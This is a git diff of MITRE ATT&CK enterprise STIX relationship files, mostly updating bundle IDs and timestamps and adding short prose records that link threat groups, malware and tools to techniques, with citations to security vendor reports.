+++ b/enterprise-attack/relationship/relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--04e4cc9f-7c20-44cb-8f19-662ad7ef4128",
+    "id": "bundle--75b556d5-2237-4c22-9431-e1cd1b368ee4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Winnti implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.",
             "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
diff --git a/enterprise-attack/relationship/relationship--e7baabf7-9300-432d-aa78-000ac099d4d3.json b/enterprise-attack/relationship/relationship--e7baabf7-9300-432d-aa78-000ac099d4d3.json
new file mode 100644
index 0000000000..c27a4eb967
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e7baabf7-9300-432d-aa78-000ac099d4d3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f38bda5f-fea6-433c-8aa0-57a1e46772d4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e7baabf7-9300-432d-aa78-000ac099d4d3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "performs multiple process injections to hijack system processes and execute malicious code.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae.json b/enterprise-attack/relationship/relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae.json
new file mode 100644
index 0000000000..63631f59c7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cd82d716-10ac-4a94-97e2-56d010b00d5b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can query shared drives on the local system.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890.json b/enterprise-attack/relationship/relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890.json
index 818e0644fd..6a59aae316 100644
--- a/enterprise-attack/relationship/relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890.json
+++ b/enterprise-attack/relationship/relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74c7b8e6-0268-41b6-9c4d-398268fe9c96",
+    "id": "bundle--688e907c-2872-4902-b00c-ce98a512e176",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server .",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5.json b/enterprise-attack/relationship/relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5.json
index e0b75336bf..e1715cc28e 100644
--- a/enterprise-attack/relationship/relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5.json
+++ b/enterprise-attack/relationship/relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8250f9ee-9932-487c-a513-4b5d8f1c05fc",
+    "id": "bundle--4b667570-d856-459c-9033-c4a6273c3929",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801.json b/enterprise-attack/relationship/relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801.json
index d2cce85d4f..e0eb6d27c5 100644
--- a/enterprise-attack/relationship/relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801.json
+++ b/enterprise-attack/relationship/relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce3e6739-04f9-4b09-870f-17043e86ab00",
+    "id": "bundle--7f80481d-0d1d-4524-aea5-165d131ed708",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e81d69cf-62b8-464b-ad5b-9a9e80236801",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0",
             "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
diff --git a/enterprise-attack/relationship/relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0.json b/enterprise-attack/relationship/relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0.json
index cf2c60e890..73d7645975 100644
--- a/enterprise-attack/relationship/relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0.json
+++ b/enterprise-attack/relationship/relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a5f765a-6b21-444b-a610-377213459156",
+    "id": "bundle--495357aa-b081-4891-b440-3a38b134de23",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike allows adversaries to modify the way the \"beacon\" payload communicates.  This is called \"Malleable C2\" in the Cobalt Strike manual and is intended to allow a penetration test team to mimic known APT C2 methods.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6.json b/enterprise-attack/relationship/relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6.json
index fb76a7f760..386d4ae20b 100644
--- a/enterprise-attack/relationship/relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6.json
+++ b/enterprise-attack/relationship/relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--481d4617-99b2-499d-9909-bcb999f75085",
+    "id": "bundle--312adffe-d573-4aa7-8a6e-d95eff93c6ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Net Crawler uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.",
             "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
diff --git a/enterprise-attack/relationship/relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e.json b/enterprise-attack/relationship/relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e.json
index 09d51de22a..6802178955 100644
--- a/enterprise-attack/relationship/relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e.json
+++ b/enterprise-attack/relationship/relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7969274-84b1-46fb-bf3d-50d83a993192",
+    "id": "bundle--f02f2df2-987a-46d9-8506-3ccece909ea0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec",
             "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
diff --git a/enterprise-attack/relationship/relationship--e8cb4430-db05-4029-b011-926a2ba17a4c.json b/enterprise-attack/relationship/relationship--e8cb4430-db05-4029-b011-926a2ba17a4c.json
index 85d650c6eb..c60f355aa4 100644
--- a/enterprise-attack/relationship/relationship--e8cb4430-db05-4029-b011-926a2ba17a4c.json
+++ b/enterprise-attack/relationship/relationship--e8cb4430-db05-4029-b011-926a2ba17a4c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8175aa54-fff1-425e-a0ad-3dc979dcfde4",
+    "id": "bundle--b1ff0bec-959f-44e8-ab36-068aac065ac5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group looked for a specific process running on infected servers.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
diff --git a/enterprise-attack/relationship/relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee.json b/enterprise-attack/relationship/relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee.json
new file mode 100644
index 0000000000..7b9a533e91
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f153f7a5-3b73-4888-ba28-09c8f1da3601",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used various types of scripting for execution, including.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "OilRig ISMAgent July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463.json b/enterprise-attack/relationship/relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463.json
index a91c87d4d8..f51a8e5433 100644
--- a/enterprise-attack/relationship/relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463.json
+++ b/enterprise-attack/relationship/relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cdbdeca2-4549-4d74-b127-55a33b4b8661",
+    "id": "bundle--0ac7b0f9-c958-4216-af94-b18801a1b0d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of XTunnel introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc.json b/enterprise-attack/relationship/relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc.json
index 9fffdb2bdd..c15ef1503c 100644
--- a/enterprise-attack/relationship/relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc.json
+++ b/enterprise-attack/relationship/relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3cebc2e-b460-4652-991c-cfa44309c674",
+    "id": "bundle--ac91a6c5-d72a-4386-8fff-f037ddca2694",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of running WMI queries.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
diff --git a/enterprise-attack/relationship/relationship--e9011839-ca57-434d-a0cc-007594247110.json b/enterprise-attack/relationship/relationship--e9011839-ca57-434d-a0cc-007594247110.json
new file mode 100644
index 0000000000..6897092524
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e9011839-ca57-434d-a0cc-007594247110.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ba9dcfa3-55c4-4cc7-99e5-54b5fc9e39ca",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e9011839-ca57-434d-a0cc-007594247110",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download files from remote servers.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e90717f3-fad2-4978-be15-7dfb647d034d.json b/enterprise-attack/relationship/relationship--e90717f3-fad2-4978-be15-7dfb647d034d.json
index 7979866546..5c4dcfd540 100644
--- a/enterprise-attack/relationship/relationship--e90717f3-fad2-4978-be15-7dfb647d034d.json
+++ b/enterprise-attack/relationship/relationship--e90717f3-fad2-4978-be15-7dfb647d034d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--781fdbfb-a8f0-41bf-bbc3-6f08ae36be60",
+    "id": "bundle--2f6a0754-3367-49bc-961f-80a70a2e23b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e90717f3-fad2-4978-be15-7dfb647d034d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically searches for files on local drives based on a predefined list of file extensions.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--e94576ee-284c-4782-a6ef-b7dd8a780254.json b/enterprise-attack/relationship/relationship--e94576ee-284c-4782-a6ef-b7dd8a780254.json
new file mode 100644
index 0000000000..c040498d4c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e94576ee-284c-4782-a6ef-b7dd8a780254.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--fba82c49-fb0f-4d54-be8d-6049bad54e99",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f.json b/enterprise-attack/relationship/relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f.json
index 6afdaf4d13..620e27e65f 100644
--- a/enterprise-attack/relationship/relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f.json
+++ b/enterprise-attack/relationship/relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4af4409-4666-4a69-aca1-a5febcc71280",
+    "id": "bundle--00d5af72-c31e-44b7-ad7f-7e213e3cfb94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e9612cb1-79a5-4987-aa83-b84aa7fa050f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--e97b39d6-7be1-4f59-8959-7f1f01402152.json b/enterprise-attack/relationship/relationship--e97b39d6-7be1-4f59-8959-7f1f01402152.json
index 060fe15365..b36f11e07d 100644
--- a/enterprise-attack/relationship/relationship--e97b39d6-7be1-4f59-8959-7f1f01402152.json
+++ b/enterprise-attack/relationship/relationship--e97b39d6-7be1-4f59-8959-7f1f01402152.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e2d0c47f-0317-46ff-9100-7aa91a066ec1",
+    "id": "bundle--d874d473-e233-46ba-8ee5-2d54e8cfa384",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e97b39d6-7be1-4f59-8959-7f1f01402152",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The C2 server used by XTunnel provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--e9a2c6b5-c02a-404b-818c-d54915a53952.json b/enterprise-attack/relationship/relationship--e9a2c6b5-c02a-404b-818c-d54915a53952.json
new file mode 100644
index 0000000000..2f3e8cc1d8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e9a2c6b5-c02a-404b-818c-d54915a53952.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dfa5de89-cc03-44a7-86cd-65267b672740",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e9a2c6b5-c02a-404b-818c-d54915a53952",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 uses remote services such as VPN, Citrix, or OWA to persist in an environment.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b.json b/enterprise-attack/relationship/relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b.json
new file mode 100644
index 0000000000..2c832f06c7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--1c35aded-4368-450b-8ed1-4720ca6e8f42",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--7636484c-adc5-45d4-9bfe-c3e062fbc4a0",
+            "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ea40711b-461d-4629-b1fd-5f020b1f3257.json b/enterprise-attack/relationship/relationship--ea40711b-461d-4629-b1fd-5f020b1f3257.json
index 4be19a10e2..eae3d7b76e 100644
--- a/enterprise-attack/relationship/relationship--ea40711b-461d-4629-b1fd-5f020b1f3257.json
+++ b/enterprise-attack/relationship/relationship--ea40711b-461d-4629-b1fd-5f020b1f3257.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--038b4ea0-49da-4276-bf08-8b3ece234118",
+    "id": "bundle--33a32ea2-2f7e-4c4b-86dd-7b88f00fed4b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea40711b-461d-4629-b1fd-5f020b1f3257",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used batch scripting to automate execution of commands.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c.json b/enterprise-attack/relationship/relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c.json
index 23fe8d3dcb..447670b61e 100644
--- a/enterprise-attack/relationship/relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c.json
+++ b/enterprise-attack/relationship/relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ccaa731b-170f-49ec-8080-aeb5756c0761",
+    "id": "bundle--34887cd2-ff7a-4693-afa8-935f5d3b7517",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33",
             "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
diff --git a/enterprise-attack/relationship/relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef.json b/enterprise-attack/relationship/relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef.json
index 6ba4beb7d1..ee7590c5e3 100644
--- a/enterprise-attack/relationship/relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef.json
+++ b/enterprise-attack/relationship/relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2cdf0cf0-d8f1-482c-9ef0-059de6f0db06",
+    "id": "bundle--f32c3829-2b5d-46b5-b3c4-d853a6803022",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP collects system information, including the operating system version and hostname.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
diff --git a/enterprise-attack/relationship/relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c.json b/enterprise-attack/relationship/relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c.json
new file mode 100644
index 0000000000..d16ce2f208
--- /dev/null
